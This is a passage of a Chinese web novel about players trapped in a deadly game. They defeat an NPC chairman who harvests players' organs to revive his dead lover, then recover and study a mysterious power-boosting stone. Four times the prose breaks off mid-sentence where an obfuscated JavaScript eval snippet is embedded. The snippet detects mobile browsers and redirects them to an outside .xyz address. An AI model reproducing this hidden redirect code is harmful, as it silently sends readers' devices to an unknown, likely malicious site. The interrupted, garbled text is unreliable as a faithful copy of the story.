就在几人已经后退到楼梯口,准备转身离场的时候,周利司像是终于想起他们,冷厉地抬眼,“做下这种事,你们以为,还能全身而退吗?” 地面上灰白黏腻的泥如海浪一般向三人涌去。 “跑!”孙覃扯上同伴,往楼下拔腿飞奔,挟持人质的计划已经失败,现在NPC开始反扑,形式一下子颠倒,他们不得不暂避锋芒。 …… 为了捎上另外两个玩家,三人逃到一楼,沿途摧毁或遮挡着摄像头,去健身房找到人后,楼梯口听见皮鞋下楼的动静,不得已躲进了厨房。 这间屋子里的备餐都已经消失,想也是都被董事长“挪用”了,充作施放技能、对付玩家的手段。虽然食物没了,但那股营养餐的蔬粮气味仍然充溢在鼻尖,方才被裹了一身的孟锦竹和孙覃的脸色可不算好。 “这是怎么回事?”汪睿还一头雾水。 田子阳则直截了当地问道:“行动失利了?”他抱着手臂,打量着身上湿漉漉的两人。 “董事长发飙了。”林屿简单交待,“他能控制食物,很麻烦。” “控制食物,那怎么不控制我们胃里面的?”田子阳问道。 林屿一惊,她怎么没想到这点,手不由自主抚上了胃的位置,那处器官似乎没有感受到主体的紧张,舒适依旧地工作着,“没有异常。” 孟锦竹猜测,“可能被消化了。” 是啊,消化,就算是很难消化的脂肪,留存在胃里的时间也不过四个小时左右,玩家昨天进食之后再也没有碰过东西,即使里面加了料,也不在那个地方了。 林屿再次动用了自己不知何时拥有的灵异视觉,注视着面前几人,他们身上的黑气竟然比昨天淡了些,但来不及高兴,她又看到他们身体上的异常,集中的黑气,出现在躯干位置,偏上、偏左、偏右,就好像浑身的灵异都在此处聚集……而那几个位置,似乎对应了不同的脏器。 她仿佛被一束雷电击中,先前苦思不得的规则真相,瞬间清晰呈现在眼前,食物和运动!原来是这样! 加了料却看似没有伤害的食物、藏在无人处的危险器材、被敦促运动的玩家,所有的一切,都是为了“培养”和“成熟”,黑气通过食物进入身体,然后在运动的帮助下,集中于玩家的五脏六腑,然后,董事长就可以收割了,就像集卡一般收集齐器官,给他的“手办”增添零件,以至臻完善。为了让果实安全,他主动清理了高危器材,而被圈养的玩家还一无所知,以为器材本身就这么安全。 在这个过程中,玩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495303|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家会逐渐被黑气“污染”,从而留滞在副本无法离开。 所有的规则都是董事长定的,副本机制因他而存在,他在摆脱系统操控之后,越过了系统,成为了这里的支配者。他无疑比玩家知道更深、更隐蔽的东西,了解世界的本质。 这样的NPC,玩家能够战胜吗?林屿的心沉了下来。 “卧槽这是什么!”汪睿手欠打开了一个冷柜,正正对上里面码得整整齐齐的胳臂腿,一瞬间吓出脏话。 林屿走过去,看到孙覃先前描述过的布置,下层摆放大块肉,上层摆放零碎肉,黑口袋包裹住了内容,却遮不住人腿的形状,放在这个地方非常有视觉冲击力。 在满满当当的肉柜上方,有单独的一层,是一个系得牢牢的小黑口袋,手掌大小,孤零零地存放在这里。 “难道我们吃的肉就是这些?呕!!!”汪睿脸绿了。 “不是,这是经理的私货,我们吃的没有问题。”孟锦竹安慰道。 林屿已经扒开了口袋,看到半边脑花,忽然回想起那个女人切开又缝合的头颅,忽然有了十分糟糕的猜想。 “啊!你们看地上!”汪睿忽然惊叫。 不知何时,门口的地面已经涌进来一层厚厚的蔬粮泥,从四面八方向众人围拢。 …… 林屿醒来的时候,浑身都痛得要命,窒闷的感觉还残留在脑海,她动了动手指,听到叮当的铁链声。 五个玩家排排躺,手脚被铁链栓住,系在承重柱上,在林屿醒来后,他们也陆续从昏迷中苏醒。 地面湿滑,积水未干,不远处就是那扇铁门,不过此刻已经没有噪音了,那些运转的机器都已经被她关掉。泳池放空了水,自然没有必要再维护。 林屿叹了口气,自己先前捂晕□□,现在被董事长捂晕,真是循环不爽,天理昭彰,轮到她担心自己的小命了。 “怎么办?” “我们在哪?” “我靠,栓得好牢!” “呜呜,我还不想死啊!” 醒来的人已经开始窃窃私语,林屿的手指被碰了碰,孟锦竹努力凑近,低声说道:“是我们的错,如果我们没被抓住,你就可以拿人质去威胁他了……” 林屿默了默,“不是我们任何人的错……你有办法变小吗?” 孟锦竹眼神一亮,对啊!她的技能是变身,那么变小一点就可以摆脱锁链了!她立刻使用技能,一只毛发鲜亮的金毛大狗出现在众人面前,栓在手脚的锁链自动脱落,片刻,她又变了回去。 “卧槽!你还有这绝技!”汪睿脱口而出。 孟锦竹不好意思地笑了笑,其实是上回失控第一次变出狗头过后,她才能变身成动物,过去都只能变成人的。她手忙脚乱地摆弄玩家的锁链,一时间叮叮当当响声不绝,众人从绝望中又窥见了希望。 “快一点,快一点,那怪物不知什么时候就会来。”田子阳小声催促,“我靠这怎么栓的,这么紧!” 孟锦竹解了半天,没有解开一个人,不是她没用,是因为上面竟然有锁——非常隐蔽的锁,是铁链上微不足道的一个小孔。孙覃认了出来,因为现实世界的手铐也采用了同样的技术。 孟锦竹不死心,拖着林屿的手臂变换角度,试图至少解救出身量最小的她。忽然间,她僵住了。 皮鞋声,啪嗒,啪嗒,顺着幽深的石梯放大,仿佛在耳畔敲响。 62. 第六十二章 “快躲起来!”林屿压低声音,从背包中清出匕首,示意孟锦竹拿上。 孟锦竹捡起刀具,在一声声逼近的皮鞋声中紧张得发抖,似乎犹豫着不想离开同伴。 “打开铁门,掩上,然后在这里躲起来!”林屿飞快地环视一圈,急促地用气音说道。 孟锦竹一咬牙,依言照办,幸而铁门就在不远处,她拉开门栓,随后折返,闪身躲进抽水泵、过滤器、发电机等笨重机械的遮挡之后。 董事长从楼梯上方缓缓出现,先是擦得锃亮的皮鞋,然后是线条利落的裤脚,新换上的正装,他神色高高在上,充满冷意,早已不是之前狼狈的模样,臂弯之间,沉静无声的女子无力地垂下裙摆,像是在沉睡。□□双手捧着一个等身丝绒软垫,亦步亦趋地跟在他身后,看样子已经从衣柜里被救了出来,回到了原先帮凶的位置。 如果一开始就除掉他,会不会现在少一个敌人?林屿内心冒出这句很合时宜,却阴暗的想法,又转念反驳,她办不来。虽然底线已经像下楼梯一会儿一步地退,但如果不是形势所逼,凭空跨过路障很难,至少她当时认为□□罪不至死。 “丢了一个。”周利司露出讥讽的神色,嘲笑玩家的自不量力。 “我去找。”□□接话。 寻了一个洁净无积水的地方,□□放下软垫,拿走托盘。董事长小心翼翼地把女子放在上面,这时玩家才发现,除了软垫,他们还带上了一些类似手术刀钳之类的用具,用托盘装着。 想也知道他们要干什么。 田子阳和汪睿都挣扎起来,锁链被砸得砰砰作响,牵得她也东倒西歪站不稳。 “出去找。” □□正走到抽水泵附近,周利司瞥见铁门上扯开的锁栓,眼里划过一道暗光,出声命令。由于门是关上的,一开始他们都没发现这个细节。 □□打开大门,锈蚀的门轴吱呀作响,让人皱眉,林屿脸色变了。与此同时,周利司神色一凝,阴森地扯起一个微笑,“等等,就在这里找,把门锁上。” □□又依言照办。 林屿已经调整好神态,眼观鼻鼻观心,心里暗自替同伴担忧,不过,她很快没心思担心别人了。 周利司从托盘中拿出一把手术刀,寒光闪闪,刀尖锋利,就在玩家眼前晃动。“还缺一副小肠、一个脾脏、两颗肾脏,和一颗心,我只需要四个人。” 他好整以暇地看着他们。 “也、也就是说,你会放了我们中的一个?”汪睿抖着嘴唇说出这句话。 “是的,你们想好是谁了吗?” “如果我告诉你人藏在哪里,你就会放了我?”田子阳问道。 周利司轻蔑一笑, “看情况。” 孙覃一扯锁链,看向田子阳的目光压抑着愤怒。 “我要承诺。”田子阳踉跄一下,仰头看向董事长,面上还带着平日里那种轻浮。 忽然他眼睑一痛,一股温热的液体顺着脖子淌下,周利司划破了他的面皮,刀尖直指眼球,然而在看到血迹之后,他嫌恶地甩手,“你没有资格谈条件。” “好吧。”田子阳笑了笑,“那我不知道。” “我说!她……”在董事长发作之前,汪睿出声,不过刚刚开口就被林屿打断。 “她已经救不回来了。” 周利司的神色一下子凝滞了,又听她继续:“你把她的脑子拿出来,不知用了什么方法,让厨师加到我们的饭菜里,黑气污染我们,把我们变成材料给她提供内脏部件,真是让人想不到呢!如果我没猜错,她一开始只剩一个头吧?但尸体就是尸体,凑得再像个人样都不是人。” “闭嘴!”周利司把手术刀贴在林屿脖子上,“你又知道什么呢?她的灵魂还在,只要身体完整,必定可以复活!” 林屿嘲讽地歪了歪头,喉咙被割出一道血线,“我知道啊,你说的灵魂是那些黑气吧,但那真的是灵魂吗?如果是的话,为什么灵魂身上也会有‘灵魂’呢,那个镜子房间的灵魂,你是见过的吧。” 她在很多NPC身上,在这个副本的魂魄身上都见过“黑气”,本来按照灵异的说法认作鬼气、怨气或是其它什么,但后来发现不是,这些,其实是那些不甘死去的亡者浓得化不开的情绪,或者说是让他们仍然存在于世的执迷。 “那不过是没有消散的执念,是死后的余韵。”林屿仍然不知死活地往董事长心口捅刀。 “那也证明她灵魂仍在。”周利司的手压得更重了,他深深吸气,用冰冷的面具遮盖方才的失态,也遮盖残忍的动作,“我还差一步就能成功,最后的献祭——就从你开始,这是你犯下这么多不可饶恕错误之后,唯一能够补偿给我的价值。” 说着,刀锋开始向下划拉,割开衣领,逐渐靠近心脏。 孙覃被铁链拴住的手脚不安地扯动锁链,他焦急地想要救人,却毫无办法,过大的震动幅度甚至会让她被手术刀再次割伤。 “你真的以为,那些黑气属于她吗?”林屿的神色没有太多慌张,在自己变成大V领之前发声道,“如果属于她,为什么能操控的反而是你?” 在全员被灰泥袭击的时候,她终于发现那些黏腻肮脏的物质里竟然也藏着黑气,但是太晚了,之前去女子房间也被灰泥裹住了腿,用了技能才脱开逃走,房间黑暗,她无法看清。 周利司本该心无旁骛地剜心,但这个疑虑同样是他的疑虑,他不由自主空了几秒的说话时机。 “因为这个执念是你的执念,你的执念附着于她,操控了她,成为了她,并试图以她的名义拥有身体,和人一样存在于世。” 周利司怔在原地。 “承认吧,她已经回不来了。” 周利司呆立了一瞬,脸上一片空白,忽然,他就像一头暴怒的狮子,猛地刺下手术刀,林屿早有准备,刀与锁链碰触出低鸣,而锁链中的人却已经脱身,获得了行动的自由。 黏腻再一次从墙壁上涌流而下,不断逼近她,试图将她包裹其中,林屿不断使用着“给予”将脚边的食物泥丢走,但不过杯水车薪,就像一个人在一条漏水的船上用杯子往外舀,终究会被河 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495304|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水淹没。 在上下左右的包围之下,她的飞行技能没有太大用处,往哪边都会被堵截。 挣扎了不到半刻,她又被灰泥裹的严严实实的,只剩下一个头能活动。现在即使她还能使用技能也逃不掉了,因为董事长几乎把所有的灰泥都堆在她身边,“给予”丢完了一块,另一块就会迅速补上。 “之前你就是用这个方法处理埋伏的。”周利司也看明白了她的技能,“可惜,螳臂当车。” “你之前也是玩家吗?”林屿不甘地挣扎,“你为什么要帮着副本迫害我们,迫害同类?你失去了重要的人,你不恨这个游戏吗,你为什么要和系统做一样的事!” 她像是困兽,仿佛在做最后的咆哮。 “我没有帮系统,相反,我摧毁了它对副本的控制。”周利司回答,“我只为自己。” 说完,他扬起手臂,林屿胸腹的灰泥已经向两旁退开,露出即将开膛破肚的位置。 林屿得到了答案,也没有机会再问下去了,她打开系统面板,对准董事长,按下了举报的按钮。 这是她最后想到的办法。 贺望那么害怕被举报,NPC脖颈后疑似操控媒介的白刺,以及到现在为止依旧灵光的技能,可使用的背包,能调出的面板,都证明了一件事:虽然系统迟钝且不智能,但它的掌控力却无处不在。 一秒。 两秒。 三秒。 无效。董事长没有受到任何影响。 她的胸口传来刺痛,手术刀不断深入,切割血肉。 □□拖着一个人走来,周利司用余光瞄了一眼就没有理会。 孙覃挣动锁链,对周利司大吼、挑衅,然后被灰泥糊在脸上,几近窒息。 刀锋没入,即将向下划拉,把她开膛破腹。 一道寒光闪过,周利司被削掉了一缕头发——紧贴头皮的头发。 他充满寒意与怒火的眼神扫向身后,躲过了第二次攻击,与此同时,给了袭击者一个重重的肘击。他身材高大,身体强壮,行动敏捷,从身体到智力都是人类中的精英,这一下直接让“□□”弯下腰捂住疼痛的腹部。 匕首摔落在地。 “□□”脚下,赫然是另一个□□,周利司一瞬间明白,然后冷笑着捡起匕首。灰泥包裹了孟锦竹,所有的玩家集齐,林屿现在没有任何救星,也失去了最后的手段。 她瞪大眼睛,想要看清自己的最后,却越过董事长狰狞的面孔,看见他背后那一连串的透明人影。一个个陌生的面孔穿过墙壁,穿透天花板,轻飘飘地,落到了女子的位置,就像一滴水落入锅炉,在和女子完全重合之后消失不见。 她看到了附身灵,看到了劳小帅,看到了漆春,甚至看到了钱刚。 漆春似乎也察觉到她的视线,向她轻轻点了点头,随后在同样位置平躺下去。 女子的手指轻轻抽动了一下,随后,慢慢地睁开了眼睛。 “利司……” 周利司仓皇回头,看见从丝绒软垫上坐起身的爱人。 63. 第六十三章 周利司恍惚间转回头,似乎什么也没听到,什么也没看见,可刀锋却停下来。林屿的胸口已经被开了个口子,她从小到大还没在没打麻药的情况下受过这种痛,前面忍着没有惨叫,说话却虚弱得很,不过那股讥讽写在脸上,“她叫你呢,不是穷尽一切地复活她吗,回头啊。” 周利司的嘴唇抖了抖。 “不敢?”林屿像看懦夫一样看着他。 “不可能。”周利司喃喃道,不知说给她听还是说给自己听的。 “你都相信尸体能活过来了,怎么不能相信人会自己动呢?”林屿嘲笑他,手指在灰泥的包裹内紧贴身体,艰难地移动。 “还缺、缺关键的内脏——” “她过来了。”林屿打断他,“过你这边来了。” 周利司慢慢地、慢慢地回头,看见一步一踉跄走来的女人,长裙拖曳在地上,一步一波纹,她的目光宛如初生小鹿,懵懂,直愣愣的,除此以外什么也没有。 他不自知地咽了口唾沫。 女人艰难地来到他面前,一寸一寸抬起手,指尖轻轻触到他的脸。 周利司如在梦中,一动也不敢动,“是你吗……你……回来了?” 女人指尖顺着皮肤往下,一路划过保养良好的面颊,拐了个弯深入下颌,落到脖颈的动脉。 皮肤上的触感证明一切可能是真的,证明她不是纯粹的幻影,不是他发疯的臆想,周利司终于醒悟过来,抬起手掌去触碰她的手,“你真的回来了……” 他的梦寐以求终于有了结果。 女人注视着他,一眨不眨,仿佛经久未见,也仿佛刻骨铭心,就在手指即将被碰到的一瞬,她突然狰狞满脸,一把掐住了周利司的脖子。 身体孱弱,可下手极狠,那是无数的愤怒与滔天的怨恨累累叠加,爆发出的复仇火焰,让脖颈在手指间爆出咯咯脆响。 周利司被掐得头脸涨红,眼白上翻,眼睁睁地看着自己苦心孤诣、苦苦追求的结果变成魔鬼,用含糊不清,仿佛混杂着数十个语调的嗓音大吼:“畜牲!你凭什么——” 那些取用自玩家身体的部件,成为了怨魂绝好的载体。 周利司拍打着女人纤细的手臂,想要让她松手,他操控着黑气驱动的灰泥限制她的行动,裹遍她的全身,浊泥沾污了裙裾,美丽深陷脏污,他像每回残酷对待玩家一样毫不留情。他操控着她的身躯,因为那些部件都是黑气沾染最深的尸块,皮肉分离,撕扯着缝线,肌肉鼓胀,扭曲了窈窕的身形。 他以更甚于对付玩家的酷烈对待无数日夜拼凑出的,爱人身体。 女人眼里恨意依旧,可双手却开始分崩,从皮肤开始,然后是肌肉、骨节,一寸一寸,如同腐肉般掉落。 周利司被放了下来,他望着如玫瑰掉落花瓣般掉落血肉的女人,满脸怔忡恍惚,他抬起手,落块从指缝间滑落,他日夜期盼的团圆,瞬间变成一地碎肉。 忽然,他后颈一痛。 林屿后退两步,白刺深深扎入他的皮肤,那是□□身上拔出来的,疑似系统操控的媒介。 点击,举报。 周利司站在一地狼藉之处,面容扭曲地看着地上的尸块——唯有头颅完好,可他的眼神仿佛这不是他的爱人,而是地狱爬上来的鬼。感受到痛楚后,他反手往后颈探去,目光慢慢移向林屿,充满不甘,充满愤恨,如果给他一把武器,他一定立刻扑过来,可他动不了了。 “你只是为了自己。”林屿说道。 从后颈开始,他的身上像是撒了一把种子,缓缓长出白刺,刺破皮肤,刺破眼球,刺破喉咙,最后的时刻,他勉力转动眼球,移向女人的脸,神色晦暗,不知在想什么。 林屿身上的灰泥方才被挪用给女人,她因此获得了自由,此时已经用技能让队友脱离困缚,被拉扯搀扶着躲到巨大的机器后方。 他像是长了刺的豪猪一样,可以让密恐者却步,大家都不知道这些刺会不会突然发射,毕竟看着就很危险。 过了一会儿,想象中的爆炸射刺并没有发生,林屿龇牙咧嘴地被孟锦竹按着胸口止血,但还是忍不住探出一个头。 原地只剩下一个巨大的的刺柱,取代了原先的人,董事长的衣服、皮肤、血肉全部消失不见,他本人如同凭空蒸发,或者也可能被回收再教育。说不准,但林屿觉得不会再见到他了。 地上的女人,或者说女人头颅,仍然睁着眼睛,看向刺柱的方向。 此刻“叮”地一声提示音把所有人都吓了一跳,断联已久的系统终于姗姗来迟,以往让人痛恨的声音在此时变成了美妙乐曲。 “您已完成副本减重营,获得积分200,此次不作扣分。” “检测到副本崩塌,现开始传送玩家。” 所有人都露出放松的神色,命悬一线,峰回路转,生路来之不易,足以让人生出狂喜。田子阳感叹着说道:“没想到你这么厉害,之前是我目光短浅了。”他扭头看林屿,却没看到该在旁边的人。 此刻林屿正蹲在女人头颅旁边,打开脑子看里面。孟锦竹扶着她过去的,但一脸懵逼,不知在这最后时间她又在好奇什么。 女人额头上的线已经松开,露出的一半的脑子上镶嵌着一颗石头,棕色,半透明,胡豆大小。 林屿伸手取出,忽然僵在原地。 “这、这是……”孟锦竹的惊呼被一阵白光淹没。 …… 白塔光圈。 一队人凭空出现,带着劫后余生的庆幸,却并没有引起什么注目。毕竟,刚通关副本的人都是类似表情。 只不过其中一人一出来就站不稳,差点摔倒在地,随后被同伴架起。 林屿心口还在滋滋冒血,伤口虽小,却深,该说幸好没有刺到心脏,不然她只能竖进横出,留下一世英名与世长辞了。 这回出副本系统竟然没有治疗伤口,自己的胸口伤是流血的,田子阳脸上是破的,五人手腕还有红痕,难怪没扣治疗费,还以为抠门系统终于知道补偿了呢! 孙覃看了两人一眼,也没有多说什么,只是点了点头,带着伤员火速离开了。汪睿望着三人的背影伸出手,又惭愧地放下,对唯一还在身边的田子阳说道:“你说,他们会不会怪我……之前我差点说了位置……” “应该不会,要算账刚才就算了,现在人都走了,到哪里找你去?”田子阳笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495305|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑。 “也是哦,可惜留在里面的同伴,你说他们真的不会从小黑屋过一圈再出来吗?” 田子阳不答,他深吸一口气,双手叠放在脑后,“白城的空气就是新鲜,再见了,朋友,祝你接下来也如此好运。” 汪睿欲哭无泪,总感觉这句话像在诅咒。 …… 林屿躺在自己的房间里,已经换好了一套柔软宽松的衣服,胸口捂着一块纱布,面无表情地看着刚采购回来的何芝一件一件拿东西:绣花针、棉线、打火机、一瓶物色液体,孟锦竹端上来一盆水。 她脸色发青,不要啊,她不要在无麻条件下做手术!而且这卫生条件够吗? 男士已经自觉离开,掩上房门,等候“手术”通知。不过他们也没有特别紧张,毕竟如果真的伤重早就脸色惨白虚弱无比了,没有林屿这样表情丰富活蹦乱跳的。 何芝都说了,是小手术。 “何姐,你……以前做过这行吗?”林屿看着她洗完手,拿出打火机开始烧针,声音颤抖地问道。 “没有。”何芝干脆地落下话,瞥见林屿的表情,似乎觉得有些不妥,安慰道:“但我看过很多次。” “很多次什么。”林屿刨根究底。 “法医缝尸体。” 林屿白眼一翻,就要晕过去。孟锦竹大喜,上前按住她的肩膀和上身,“何姐,机会!”无麻缝线最怕病人乱动,孟锦竹就是负责按住的那个,她本来担心自己力气不够,没想到林屿晕了,不趁此时趁何时? 何芝揭开纱布,就要动针,林屿悠悠转醒,欲哭无泪,自己有生之年竟然要被刑警充当的赤脚医生折腾,还是只看过缝死人的赤脚医生,而且是在刚刚死里逃生之后,简直是人间惨剧! 或许是她的眼神太过幽怨,何芝安慰,“很快的,小伤。” 林屿刚想说小伤就不要缝了啊就被烧红后稍微冷却的针扎进伤口,那一天,种植者组织的据点三楼响彻惨叫。 养伤的过程中,她不用再出副本,过上了几乎所有玩家梦寐以求的生活:无所事事,一天三顿,还是免费。但是她一点也不开心,因为那天在三楼的同伴一看到她就忍不住笑,开口就是:“你真的很有活力、不,实力。” 林屿只能露出尴尬而不失礼貌的微笑。 在那天之后她才知道,韩舒竟然跟着仅了副本,只不过他倒霉地没分到一处,林屿怀疑是因为副本满员。他过了一个相亲营的副本,侥幸通关,然后幸运地发掘了技能的潜力——他的传信纸可以在不同副本之间通讯了。 林屿羡慕嫉妒恨,但还是在归还传信纸的时候告诉他:“另一半我给一个NPC了。” 了解到贺望的特别之处,众人也没有多说什么,传信纸有很多页,宛如一个一个不同的群,她拿着能通讯贺望的那张,并且另外得到了一份组织成员间的。那颗能与贺望交换的石头则被拿出来研究。 林屿想起触碰到它那一瞬的感觉——仿佛化身为了神明。 给予、飞行,原先晦涩无形的技能在她眼前展开,化为无形的细线、奔涌的灵感,化为青色的羽翼、飞鸟的翅膀,她一瞬间知道路途何在,抵达何方。 64. 第六十四章 原来界限是这样模糊,定义是这样宽泛,林屿眼中划过暗光,“给予”——远不止她开发出的用途。 不止是物品、情绪,她明明可以“给予”更多,想得到的、想不到的,给他人帮助、给他人负担,然后…… “那块石头很危险。”孟锦竹拉了个白色板凳在她身旁坐下,托腮叹气,“我已经告诉过他们了。” “危险?”林屿不太明白,“你们研究出什么了?” “棕色、半透明、椭圆形、鸽子蛋大小,以及石心有纹裂。” “……就这些?”林屿不太相信地问道,他们研究了几天,就得出了这个纯外观上的结论? “能对外说的就这些。”孟锦竹扭过脸,“但是没什么可以隐瞒你的,那块石头可以让人技能增幅,或者让没有技能的人觉醒。” “我猜到了。”林屿毫不意外,毕竟自己只是手指碰了一下,一瞬间就理解了技能原本晦涩不明的用途,“那为什么说它危险?” “……因为,它也是我技能失控的原因。”孟锦竹面上浮现出慎重的神色,“出事的那个副本,我就碰到过这类石头。” 当时她对这东西一无所知,也根本没有在意,更不会把它和自己技能问题联系在一起,直到林屿从脑浆中取出同样的东西,她才瞬间对应上,后知后觉,一阵后怕。 幸亏当时只碰了一下,没有拿在手上,不然自己说不定连人的外表都无法维持,必须变成别的才不会消耗精神。 “你现在感觉如何,有没有哪里不舒服?”孟锦竹担忧地问道。 林屿心知她问的不是自己伤口恢复情况,“很正常,技能变强了。” 孟锦竹点头,“何姐已经头铁地尝试了,她技能现在可以连续用,威力也变大了,只不过……有时候可能会哑火。” “哑火?是指失效?” “对,不是每一回都能精准操控攻击,技能偶尔失效。” 林屿默了默,看来自己也得好好实验一番,看看有没有这个问题,“还有谁试过吗?” “韩舒,他要求尝试,不过他的结果比较好。”孟锦竹面露羡慕嫉妒恨,“传信纸现在可以在副本和白城之间通讯了。” “非常实用。”林屿一语中的。 “严叔也想尝试,被我们拦下来了,毕竟他的技能不可或缺,要是变异了……” “我可不想吃到变异的米饭。”林屿心有余悸,“拦得好!” “对了,那个女孩子出小黑屋了,你要不要去看看?” “哪个?”林屿一时想不起来她说的谁。 “就是和你一起过新手副本的那个啊,叫……叫什么来着?但她的姐姐不是跟着我们加入种植者了吗,哦对,琪琪和泡泡!”孟锦竹一拍脑门,“有时候这个叠字还挺难记的,只知道是叠字,但想不起是哪个叠字。” 林屿一脸同感,“谁说不是呢。” 陆泡泡是开局就进小黑屋的倒霉蛋,不过她比其他新人幸运,有堂姐守着她出来,一出来就有组织加入,不必流落街头,沦落到城市边缘的荒地区。 她被安顿在堂姐身边照顾,关了七天禁闭是个人都会精神受损,原先饱满的面颊凹陷,眼睛在眶里不安地转动,神经质地觑着来人,整个人十分消瘦。她的脸上有数道红痕,在苍白的皮肤上分外醒目。 两人进门的时候,她还不停地挠着脸,周琪琪手忙脚乱地按着她,看见人,她尖叫一声,兜头罩进被子里。周琪琪连忙安抚,对两人露出抱歉的神色。 林屿默然,一直以来她知道大多数玩家的处境不算好,也知道小黑屋是一种折磨,但是,她没有真正感知到一个人被摧残后的变化。白城边缘,人们形同难民,是一见面便如此,她不知道他们以前是什么样,是如何欢笑,如何精神焕发,如何生机勃勃,她想象不到,因此很容易像大多数幸运儿一样,觉得他们太过脆弱,和自己不是一类人。 但她见过陆泡泡腼腆、害羞、充满生气的模样,而现在,她被这鬼地方折磨成了苍白、消瘦、神经质的鬼,她陡然生出一种幸存者的愧疚。 林屿不太敢上前,担心刺激到人,被子里鼓鼓囊囊一团开始动作,传出模糊的呓语,她好像又开始挠脸了。周琪琪连忙掀开遮挡,前去制止她的自残,这时林屿听清了,她在说: “蚂蚁,全是蚂蚁,有蚂蚁在脸上爬。” …… “小黑屋里面怎么会有蚂蚁呢?”林屿没去过,也不明白在里面的感受,只能通过询问“知情人士”来满足好奇心。 “其实我也不太清楚,上回进去是很久以前了。”孟锦竹不好意思地摸摸鼻子,“我从头睡到尾。” 林屿:“……”不得不说有时候无知无觉也是一种福气。 她拿出手环,看了看上面的时间,“陆泡泡被关了七天,唔,手环上的时间……怎么只过了三天?” “都说了不准,这里的时间是乱的,进副本、进小黑屋都会扰乱计时,就算把手环留在白城,每个显示的都不一样。” “有干扰。”林屿很快想通了。 “是啊,这日子真是暗无天日,我都忘了时候被拉进来的了。”孟锦竹叹气,又迅速提起精神,打开会议室的门,“到了,何姐说今天商量点刺激的。” 闹哄哄的交谈声传来,虽然近来变数接二连三,玩家的处境越来越艰难,但以逃离“游戏”为目标的一群人却在变动中寻找真相,破解谜团。 棕色石头被放在桌面中央,看来今天的主题是这个。 林屿修养了几天,没参加前些日子的讨论,这回是来直接听结论的。 何芝抱歉地看向她,“石头是你带回来的,按理说应该属于你,但它用途不明,不知道来历,存在未知的危险,而且可能与世界的秘密有关,能让我们暂时保管吗?你放心,假如你想和那个NPC交换什么,我们立刻还给你。” “没问题。”林屿并不是很在意丢掉一块,毕竟,她还有一块呢,“你说和世界的秘密有关,是发现什么了吗?” 严开吉说道:“只是猜想啊,你说这块石头能开发我们的技能,那会不会世界本身就是它做的笼子,我们是某个高维存在拿来做实验的小白鼠,要么,就是他们拿来逗乐的蛐蛐。” 林屿失笑,没想到年纪最大的严开吉才是最热衷科幻的那个,她想了想,“可是除了不知道来源的系统,其它地方根本看不到高维科技,如果一切起源于高维,怎么会没有另一个文明的影响呢?” “这也能解释。”严开吉说道,“都是高维了,那很多东西我们都理解不了,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14495306|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个世界半虚半实,可能高维的东西在我们的眼里都是合理的,比如说这个墙壁,这个地板,它们为什么能在玩家违规之后吞掉人呢?当然,高维更可能体现在规则上,我们进出副本到底是什么原理?小黑屋又是什么原理?这些我们都解释不了。” 听起来很有道理,但林屿总觉得一切往更高更虚幻的方向靠更接近玄学,也就是无法证伪,而科学是可以被证伪的。 “我觉得不是。”总是沉默寡言的孙覃拿出一截铁链,“这个锁是现实里有的,我更倾向于这里是某个灵异空间,而NPC是鬼魂。” 严开吉被驳了话,咳了一声,“小孙啊,我以为你们职业都信奉唯物主义那个什么……” “我被鬼魂附身过。”孙覃说道。 那确实,任谁被鬼魂附身都会动摇唯物主义信仰的,林屿表示理解,毕竟她也一样,而现在她目光落在锁链的“锁孔”上——这不是最后捆玩家的东西吗,竟然能被带出来。而能被带出副本的东西,大家都觉的那是真的,即,物理上存在。 林屿忽然想通了一点,“我们,也就是玩家,都是从现实中被‘偷’到这里的,那么物品会不会也是同样,都是从现实中被偷过来的?” 何芝:“目前没有证据推翻这点,我们一致认为:是的。” 什么东西能把人和物品悄无声息地带走啊?玩家基本上都是前一秒玩游戏后一秒来,难网络是输送带,人能顺着网线传送吗?等等,网线! 